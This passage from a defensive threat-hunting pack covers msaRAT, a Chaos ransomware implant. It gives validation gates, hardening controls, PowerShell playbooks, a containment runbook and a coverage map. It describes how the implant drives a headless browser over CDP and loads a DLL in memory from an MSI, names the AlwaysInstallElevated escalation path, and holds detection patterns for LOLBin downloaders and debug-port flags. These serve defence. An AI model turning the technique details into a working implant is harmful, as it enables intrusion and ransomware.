Family        msaRAT  (Rust, Tokio async runtime)
Group         Chaos ransomware-as-a-service (first confirmed February 2025)
Dropper       update_ms.msi   (impersonates a Windows update)
Payload       lib.dll         (single export: RUN)
MSI artefacts CA_Run_EA2AEBC3        custom action, fires on InstallFinalize
              Bin_lib_EA2AEBC3       Binary table entry holding the DLL
CDP bindings  msaOpen  msaClose  msaError  msaMessage  dataAck
CDP methods   Page.setBypassCSP  Runtime.addBinding  Runtime.evaluate
              Target.createTarget  Page.enable  Runtime.enable
CDP endpoint  GET /json/list/ on the loopback debug port
Signalling    GET and POST /token/v1/{UID} on the Workers host
Crypto        DTLS (browser) + ChaCha-Poly1305 keyed by ECDH, 0xFE handshake frame
Vendor cov.   ClamAV  Win.Downloader.ChaosRaas-10060321-0
              Snort2  1:66840  1:66841  1:66839
              Snort3  1:301587  1:66839
Browser Policy Auditthe control that ends this
# PowerShell. Run per host or via your RMM. Reports hosts where the
# CDP debugging technique still works.
$paths = @(
  @{ N='Chrome'; P='HKLM:\SOFTWARE\Policies\Google\Chrome' },
  @{ N='Edge';   P='HKLM:\SOFTWARE\Policies\Microsoft\Edge' }
)
foreach ($p in $paths) {
  $v = (Get-ItemProperty -Path $p.P -Name RemoteDebuggingAllowed -EA SilentlyContinue).RemoteDebuggingAllowed
  $state = if ($v -eq 0) { 'BLOCKED' } else { 'EXPOSED' }
  [pscustomobject]@{ Browser=$p.N; RemoteDebuggingAllowed=$v; Status=$state }
}
# Also confirm Windows Installer cannot be abused for elevated installs:
Get-ItemProperty 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated -EA SilentlyContinue
Get-ItemProperty 'HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated -EA SilentlyContinue
# Expect either absent or 0. A value of 1 in BOTH hives is a privilege-escalation path.

Placeholders are deliberate. The two REPLACE_WITH_ rows are not an oversight. Talos published no file hashes for msaRAT, and secondary reporting that mentions "a file hash" is not corroborated by the official IOC file. Rather than ship a plausible-looking invented hash, the rows are labelled and left for you to fill from your own sample. Every non-placeholder value in the CSV traces back to a saved snapshot of the Talos IOC file.

11

Detection Validation Gates

GateCheckPass criteria
G1 · Telemetry readyConfirm ProcessRollup2 carries CommandLine for your Windows estate. Run Q1 with the parent filter removed and confirm you get your normal browser launches back.Non-zero result with populated CommandLine. If empty, command-line capture is disabled and eight of twelve queries are blind.
G2 · Telemetry readyConfirm NetworkConnectIP4 retains loopback. Query RemoteAddressIP4="127.0.0.1" with no other filter over 24h.Non-zero result. A zero result means Q11 cannot fire and must be replaced by Sysmon EID 3 (native hunt N2).
G3 · Telemetry readyConfirm DnsRequest populates ContextBaseFileName.Non-zero. Without process attribution, Q10 has no discriminator and should be dropped rather than tuned.
G4 · Benign baselineRun Q1, Q2, Q3, Q4 over 14 days of history before enabling any alert.Every hit is explainable and attributable to a named business process. Record the exclusions you will need.
G5 · Benign baselineRun Q11 over 7 days and record the distinct ContextBaseFileName values.You have a written allowlist. Anything appearing on under 1% of hosts stays in scope.
G6 · Positive testOn an isolated lab host, launch Chrome with --headless=new --remote-debugging-port=9222 --user-data-dir=C:\ProgramData\test from a PowerShell parent.Q1 and Q2 both return the event within your normal ingest latency.
G7 · Positive testOn the same lab host, run a benign download of an MSI into ProgramData with curl, then install it with msiexec.Q5, Q7 and Q8 all return. Confirms the delivery half of the chain is visible.
G8 · Negative testLaunch Chrome normally from the Start menu. Launch it once from a documented automation runner.Q1 returns nothing for the interactive launch. The automation launch appears, confirming your exclusions are needed and not over-broad.
G9 · PromotionAfter G4 through G8 pass, promote Q1, Q3 and Q6 to Custom IOAs at Detect.Pilot host group first. Zero unexplained detections for 7 days before fleet-wide.
G10 · Prevention checkAfter Playbook P1, re-run the browser policy audit block from section 10 across the fleet.100% of managed hosts report RemoteDebuggingAllowed = 0. Any EXPOSED host is a host where this still works.
12

Hardening (Tiered)

Immediate · deploy this week, no user-visible change

H-I1 · Disable browser remote debugging by policy. Set RemoteDebuggingAllowed = 0 for Chrome and Edge via GPO or Intune. This is the control that removes the technique rather than detecting it: with remote debugging disabled by policy, msaRAT can still launch a browser but cannot drive it, and the entire C2 mechanism sits idle exactly as it does on a machine with no browser installed. Authority: MITRE M1042 (Disable or Remove Feature or Program), plus the Chrome Enterprise and Microsoft Edge policy references. Highest leverage in this pack

H-I2 · Deny MSI execution from user-writable paths. WDAC or AppLocker rule denying .msi from C:\ProgramData, C:\Users, C:\Windows\Temp and C:\Users\Public, with an explicit allow for your software-distribution agent's staging directory. Authority: MITRE M1038 (Execution Prevention), CIS Microsoft Windows Benchmark application-control section.

H-I3 · Enforce protocol-aware egress inspection. Replace port-only allow rules with application or protocol identification, so plain HTTP on TCP/443 is denied rather than waved through. This is the specific gap the delivery step was built to exploit. Authority: MITRE M1037 (Filter Network Traffic).

H-I4 · Confirm vendor coverage is live. ClamAV Win.Downloader.ChaosRaas-10060321-0 current, Snort SIDs 1:66839, 1:66840, 1:66841 and 1:301587 enabled. Authority: vendor advisory (Cisco Talos).

H-I5 · Set AlwaysInstallElevated = 0. In both HKLM and HKCU. An MSI that installs with SYSTEM rights turns a user-context foothold into a SYSTEM implant. Authority: MITRE M1054 (Software Configuration), CIS Windows Benchmark, Microsoft Security Baseline.

Near term · 1 to 4 weeks, pilot on a ring first

H-N1 · Restrict Quick Assist and unsanctioned remote assistance. Chaos's documented access route is a spam flood, then a voice call impersonating IT, then Quick Assist. Remove or block the Quick Assist app for users who have no business need, and publish an internal rule that IT never cold-calls asking a user to start a remote session. Authority: MITRE M1042 and M1017 (User Training).

H-N2 · Allowlist RMM tooling. Chaos abuses legitimate RMM agents for persistence. Enumerate every RMM binary in your estate, allow the ones you own by publisher and hash, and block the rest via WDAC. Authority: MITRE M1038.

H-N3 · Alert on browser policy drift. Once H-I1 is deployed, a host that loses the RemoteDebuggingAllowed value has quietly regained the exposure. Monitor the registry value with an ASEP or configuration-drift check and alert on removal. Authority: best practice, no formal benchmark entry. ⚠ best-practice

H-N4 · Scope the workers.dev decision deliberately. Do not block *.workers.dev outright, it will break legitimate Cloudflare Workers services. Instead, inventory which Workers hosts your business genuinely uses, then move unknown Workers subdomains to an inspect-and-log category at the proxy so a new signalling host is visible without an outage. Authority: MITRE M1037.

H-N5 · Constrain LOLBin downloaders. WDAC or ASR-style rules limiting curl.exe, certutil.exe and bitsadmin.exe to the accounts and hosts that legitimately need them. Authority: MITRE M1038, M1042.

Strategic · 1 to 3 months, architectural

H-S1 · Full application control on standard endpoints. WDAC in enforced mode with a managed publisher and catalog policy. The msaRAT chain uses only signed Microsoft binaries plus one unsigned in-memory DLL, so signature-based application control is the layer that meets it. Authority: MITRE M1038, Microsoft WDAC deployment guidance, DISA Windows STIG.

H-S2 · Immutable, offline-verified backups with tested restore. Chaos is double-extortion ransomware. Q12 tells you the encryptor is imminent, recoverable backups decide what happens next. Authority: MITRE M1053 (Data Backup), NIST SP 800-209.

H-S3 · Tier privileged access and remove standing local admin. msaRAT is deployed after the operator already has execution. Reducing what that foothold can reach reduces what an MSI custom action can install. Authority: MITRE M1026 (Privileged Account Management), Microsoft Enterprise Access Model.

H-S4 · Egress through an inspecting proxy with per-process attribution. The reason this campaign wins at the network tier is that the browser is a trusted egress path. A proxy that ties requests to a process and a user session turns "a browser called Cloudflare" into "a browser with no user session called Cloudflare". Authority: MITRE M1037, NIST SP 800-41.

13

Deployable Playbooks

P1 · Disable browser remote debugging (H-I1)

Deploy via GPO Preferences, Intune, or your RMM. Registry form shown so it can be pushed anywhere.

# 1. Chrome and Edge: block the CDP remote-debugging port by enterprise policy.
#    With this set, --remote-debugging-port is refused and msaRAT has no channel.
New-Item -Path 'HKLM:\SOFTWARE\Policies\Google\Chrome'   -Force | Out-Null
New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Edge'  -Force | Out-Null

New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Google\Chrome' `
  -Name 'RemoteDebuggingAllowed' -PropertyType DWord -Value 0 -Force | Out-Null
New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Edge' `
  -Name 'RemoteDebuggingAllowed' -PropertyType DWord -Value 0 -Force | Out-Null

# 2. Verify (expect 0 for both).
'Google\Chrome','Microsoft\Edge' | ForEach-Object {
  $p = "HKLM:\SOFTWARE\Policies\$_"
  [pscustomobject]@{
    Policy = $p
    Value  = (Get-ItemProperty $p -Name RemoteDebuggingAllowed -EA SilentlyContinue).RemoteDebuggingAllowed
  }
}

# 3. Confirm it took effect in the browser itself: open chrome://policy and
#    edge://policy and check RemoteDebuggingAllowed shows as Disabled.
#    NOTE: developers and QA who legitimately need CDP must be scoped into a
#    separate OU or Intune group. Do NOT leave the policy off fleet-wide for them.

P2 · Block MSI execution from user-writable paths (H-I2)

# AppLocker: deny Windows Installer files from user-writable locations,
# then allow ONLY your software-distribution agent's staging directory.
# Import into a test GPO first. Audit-only mode for 14 days before enforcing.

# a. Put AppLocker into Audit mode for MSI rules
Set-AppLockerPolicy -XmlPolicy .\msi-audit.xml -Merge

# msi-audit.xml rule intent (author in the AppLocker GUI or edit the XML):
#   DENY   Path  %OSDRIVE%\ProgramData\*.msi
#   DENY   Path  %OSDRIVE%\Users\*\AppData\Local\Temp\*.msi
#   DENY   Path  %WINDIR%\Temp\*.msi
#   DENY   Path  %OSDRIVE%\Users\Public\*.msi
#   ALLOW  Path  %OSDRIVE%\ProgramData\YourDistributionAgent\Cache\*.msi
#   ALLOW  Publisher  (your internal code-signing certificate)

# b. Review what would have been blocked before enforcing
Get-WinEvent -LogName 'Microsoft-Windows-AppLocker/MSI and Script' -MaxEvents 500 |
  Where-Object { $_.Id -in 8003,8006 } |
  Select-Object TimeCreated, Id, Message | Format-List

# c. Switch to Enforce only after (b) is clean for 14 days.

P3 · Windows Installer elevation hardening (H-I5)

# AlwaysInstallElevated = 1 in BOTH hives lets any user install an MSI as SYSTEM.
# That converts a user-context foothold into a SYSTEM implant with no exploit.
foreach ($hive in 'HKLM','HKCU') {
  $path = "${hive}:\SOFTWARE\Policies\Microsoft\Windows\Installer"
  New-Item -Path $path -Force | Out-Null
  New-ItemProperty -Path $path -Name 'AlwaysInstallElevated' `
    -PropertyType DWord -Value 0 -Force | Out-Null
}

# Verify (expect 0 or absent in both hives)
'HKLM','HKCU' | ForEach-Object {
  $p = "${_}:\SOFTWARE\Policies\Microsoft\Windows\Installer"
  [pscustomobject]@{
    Hive  = $_
    Value = (Get-ItemProperty $p -Name AlwaysInstallElevated -EA SilentlyContinue).AlwaysInstallElevated
  }
}

# Related: disable user installs of MSIs entirely where your estate allows it.
# GPO: Computer Configuration > Administrative Templates > Windows Components >
#      Windows Installer > "Prohibit User Installs" = Enabled, Hide User Installs

P4 · Post-deployment CQL spot-check

Run this a week after P1. It confirms the control is doing work, not just that a registry value exists.

// Any browser still accepting a CDP debug flag after policy deployment.
// A non-empty result means the policy did not apply on those hosts.
#event_simpleName=/^(Synthetic)?ProcessRollup2$/
| FileName=/^(chrome|msedge)\.exe$/i
| CommandLine=/--remote-debugging-(port|pipe)/i
| groupBy([ComputerName], function=count(as=Launches))
| sort(Launches, order=desc, limit=500)

P5 · Proxy category change for unknown Workers hosts (H-N4)

# Intent, expressed for a generic secure web gateway. Translate to your vendor.
#
# 1. Create a URL category: "cloudflare-workers-unknown"
#      pattern:  *.workers.dev
# 2. Create an allowlist category: "cloudflare-workers-sanctioned"
#      populate with the exact Workers hostnames your business owns
# 3. Policy order:
#      allow + no-log     cloudflare-workers-sanctioned
#      allow + FULL LOG   cloudflare-workers-unknown   <-- inspect, do not block
#
# Do NOT block *.workers.dev. It is Cloudflare shared infrastructure and blocking
# it breaks legitimate services. The goal is visibility, so a new signalling host
# shows up in a log review rather than in an incident report.
#
# 4. Add a standing alert on: user-agent contains "HeadlessChrome"
#    AND destination category = cloudflare-workers-unknown
14

Containment Runbook

PhaseActionsOwnerEvidence to capture
0 · Triage
(0 to 15 min)
Confirm the Q1 or Q3 hit is not a known automation host. Check the parent process and the user context. Pull the full process tree around the browser launch.SOC L1Process tree export, CommandLine, ParentBaseFileName, UserSid, SHA256HashData.
1 · Isolate
(15 to 30 min)
Falcon network-contain the host. Do not power it off: the msaRAT payload is loaded in memory from the MSI Binary table and may exist nowhere on disk. Containment preserves it, shutdown destroys it.SOC L2Containment timestamp, host identifier, contained-by user.
2 · Collect
(30 to 90 min)
Via RTR: full memory image first. Then C:\ProgramData\*.msi, the malware-supplied user-data-dir, MsiInstaller application log, Sysmon EID 1/3/22 for the window, and the browser process command lines. Dump the MSI CustomAction and Binary tables.IRMemory image, MSI sample, hashes of both, timeline of the browser launch.
3 · Scope
(1 to 4 h)
Run Q9 across maximum retention. Run Q1, Q3, Q4 fleet-wide. Run Q5 and Q7 to find other hosts that received an MSI from the same source. Check for Chaos precursors: RMM installs, Quick Assist sessions, spam-flood recipients.IR + Threat HuntAffected host list, first-seen timestamp per host, common parent tooling.
4 · Eradicate
(4 to 12 h)
Terminate the headless browser and its parent process. Remove the MSI and the malware-created user-data directory. Deploy Playbook P1 fleet-wide as an emergency change, which severs the channel on every host at once. Import the two IOC rows at Detect.IR + Endpoint EngChange record for P1, IOC import confirmation, per-host remediation log.
5 · Credential response
(same day)
Treat every credential used or cached on the host as compromised. Force password reset and revoke sessions for the interactive user and any service account the process ran under. Rotate local admin credentials on the affected hosts.IAMReset and revocation records, session-revocation timestamps.
6 · Ransomware readiness
(same day)
msaRAT is a pre-encryption stage. Verify backup integrity and restore-test at least one critical system before standing down. Run Q12 fleet-wide and treat any hit as an active encryption attempt.IR + InfrastructureBackup verification report, restore-test result, Q12 output.
7 · Recover
(24 to 72 h)
Rebuild affected hosts from a known-good image rather than cleaning in place. An in-memory implant delivered by a custom action leaves poor removal assurance.Endpoint EngRebuild records, post-rebuild Q1 through Q4 clean run.
8 · Close
(within 2 weeks)
Confirm gate G10 passes fleet-wide. Promote Q1, Q3 and Q6 to Custom IOAs. Feed the observed parent processes back into the tuning notes. Update this pack to v0.2 with tenant-specific exclusions.Detection EngIOA rule IDs, G10 report, updated pack version.
15

Detection Coverage Map

TechniqueBehaviorCQLIOACoverage
T1105curl pulls the MSI into ProgramDataQ5, Q6, Q8IOA-3Good
T1571Plain HTTP pinned to TCP/443Q6IOA-3Good
T1218.007msiexec installs from a user-writable pathQ7, Q8IOA-2Good
T1620lib.dll loaded to memory from the MSI Binary tablenonenoneGAP
T1518Browser located via env vars, then registry fallbacknonenoneGAP
T1219Headless browser launched with a CDP debug portQ1, Q2, Q3, Q4IOA-1, IOA-2Good
T1562.001Page.setBypassCSP disables CSP in the controlled browsernonenoneGAP
T1059.007Runtime.evaluate injects JavaScript from .rdatanonenoneGAP
T1090.001RAT holds a loopback-only session to the debug portQ11nonePartial
T1102 / T1071.001Cloudflare Workers signalling with spoofed Microsoft headersQ9, Q10nonePartial
T1090.002All C2 forced through the Twilio TURN relayQ10nonePartial
T1573.002ChaCha-Poly1305 inside DTLS, ECDH-keyednonenoneGAP
T1490Shadow copy and backup catalog destructionQ12noneGood
T1486Chaos encryptor executionQ12 (precursor only)nonePartial

Known gaps and what to do about them

  • In-memory DLL load from the MSI Binary table (T1620). There is no file write, so no file-creation event exists to hunt. Mitigate by catching the msiexec parent relationship instead (Q3, Q7) and by retro-hunting collected MSI samples for CA_Run_ plus Bin_lib_ pairs (native hunt N8).
  • Browser path discovery (T1518). Registry reads generate no telemetry in any EDR. Not huntable, and not worth chasing. The next step in the chain (the browser launch) is fully visible.
  • CDP method calls (T1562.001, T1059.007). No Falcon field carries CDP method names. The only realistic visibility is a network sensor that can see the loopback WebSocket, which almost nobody deploys. Control H-I1 removes the capability instead, which is the correct answer to an undetectable step.
  • Payload encryption (T1573.002). Detection is not the tool here. Double encryption inside a legitimate WebRTC channel is opaque by design.
  • Loopback retention (Q11). Tenant-dependent. If gate G2 fails, Q11 is a false sense of coverage and should be replaced with Sysmon EID 3 (native hunt N2) rather than left running.

Validation gates for all of the above are in section 11. Do not promote any query to an alert until G4 through G8 have passed on your own data, and do not treat a clean Q11 result as meaningful until G2 confirms the telemetry exists.

16

Hunt Summary Ticket

Copy into your case tracker
TITLE       Hunt: Chaos msaRAT - headless browser CDP command-and-control
SEVERITY    High. Pre-ransomware implant from an active double-extortion RaaS group.
SCOPE       All Windows endpoints with Chrome or Edge installed. Priority to servers,
            jump hosts and any host with RMM tooling present.

HYPOTHESIS  A Rust implant (msaRAT) launches its own headless Chrome or Edge with the
            CDP remote-debugging port enabled, drives it over a loopback WebSocket, and
            uses the browser as its entire network stack. The RAT process itself only
            ever talks to 127.0.0.1, so all C2 egress appears to come from a trusted,
            signed browser calling Cloudflare Workers and a Twilio TURN relay.

QUERIES     Q1  headless browser + CDP debug port, non-browser parent   [FLAGSHIP]
            Q2  browser --user-data-dir under ProgramData or temp
            Q3  browser spawned by msiexec / rundll32 / script host
            Q4  browser running as SYSTEM or a service SID
            Q5  curl/certutil/bitsadmin pulling an .msi into ProgramData
            Q6  plain-HTTP URL pinned to port 443 in a command line
            Q7  msiexec installing from a user-writable path
            Q8  same host: download utility + MSI install (aggregation)
            Q9  published msaRAT infrastructure (atomic retro-sweep)
            Q10 browser DNS for workers.dev + Twilio TURN     [correlate only]
            Q11 loopback-heavy non-browser process            [baseline first]
            Q12 shadow copy / backup destruction (Chaos follow-on)

DO FIRST    1. Gate G1: confirm CommandLine capture is on. Without it, 8 of 12 are blind.
            2. Run Q9 over maximum retention. Any hit is an incident, escalate now.
            3. Run Q1 over 14 days. Baseline the automation hosts, do not exclude the technique.
            4. Deploy Playbook P1 (RemoteDebuggingAllowed = 0). This ends the technique.

FINDINGS    [ ] Q9 retro-sweep result:
            [ ] Q1 baseline hosts and named exclusions:
            [ ] G1 / G2 / G3 telemetry gate results:
            [ ] Hosts with RemoteDebuggingAllowed absent (EXPOSED):

GAPS        In-memory DLL load from MSI Binary table (no file write).
            Browser path discovery via registry reads (no telemetry, any EDR).
            CDP method calls (Page.setBypassCSP, Runtime.evaluate) not in the data model.
            Payload encryption (ChaCha-Poly1305 inside DTLS) opaque by design.
            Loopback retention in NetworkConnectIP4 is tenant-configurable (gate G2).

ACTIONS     [ ] Import the two atomic IOCs at Detect (expire 2027-01-24)
            [ ] Deploy P1 fleet-wide, then verify with gate G10
            [ ] Deploy P2 (MSI path denial) in audit mode
            [ ] Promote Q1, Q3, Q6 to Custom IOAs after G4 through G8 pass
            [ ] Fill the two REPLACE_WITH_ hash rows if you obtain a sample

OWNER       Detection Engineering / Threat Hunt
VERSION     v0.1 · 2026-07-24
17

Changelog

v0.22026-07-24CQL correctness pass. All table() calls now carry an explicit row limit: the default is 200 and truncation is silent, so a capped result was indistinguishable from a complete one. Atomic-IOC sweeps (filters over 5+ hashes or C2 IPs) use limit=max so a wide infection is never silently under-scoped; behavioural hunts use limit=200, where exceeding the cap indicates the query needs tuning. Where present, event names that do not exist in the Falcon data model were corrected (e.g. ServiceInstalled is a Sysmon concept, not a Falcon event; ElfFileWritten is ELFFileWritten) — such queries could never return a row. No detection logic, fields, or IOCs changed.
v0.12026-07-24Initial pack. Built from the Cisco Talos msaRAT analysis of 2026-07-23 plus the official Talos IOC file and four corroborating reports. Twelve CQL hunt queries, three Custom IOA recommendations, eight native audit-log hunts, ten validation gates, fourteen tiered hardening controls and five deployable playbooks. Two atomic indicators shipped for import. No file hashes shipped: Talos published none, so both hash rows are labelled placeholders.
18

References

TierSourceUsed forAccessed
1Cisco Talos: Chaos ransomware's msaRAT, living off the browser to build a covert C2 channelPrimary technical analysis. Infection chain, MSI custom action, CDP bindings, WebRTC signalling, encryption, vendor coverage.2026-07-24
1Cisco Talos IOC repository: chaos-msarat.txtOfficial atomic indicators. The only authoritative source for the two values shipped in the import CSV.2026-07-24
1Cisco Talos: Unmasking the new Chaos RaaS group attacksGroup background, initial-access playbook, RMM abuse, hardening context.2026-07-24
2The Hacker News: Chaos ransomware uses msaRAT to route C2 traffic through headless Chrome and EdgeNamed browser launch flags and the loopback-only assertion.2026-07-24
2Help Net Security: Cisco Talos on Chaos ransomware and msaRATBrowser discovery detail and the HeadlessChrome network artefact.2026-07-24
2BleepingComputer: New msaRAT malware uses Chrome, Edge browsers to route C2 trafficEncryption corroboration and TURN routing design.2026-07-24
2Security Affairs: Chaos ransomware deploys browser-based msaRAT to evade network detectionIndependent corroboration, certutil companion signal.2026-07-24
RefMITRE ATT&CK T1219, T1218.007, T1620, T1090.002, T1102, T1571, T1490Technique and mitigation mapping.2026-07-24
RefChrome Enterprise policy: RemoteDebuggingAllowed · Microsoft Edge policy referenceControl H-I1 and Playbook P1.2026-07-24

Provenance: the fetched text of every source above is saved verbatim in ChaosMsaRAT-BrowserC2-Hunt-sources/ alongside this file. Every atomic indicator shipped in section 10 traces back to one of those snapshots.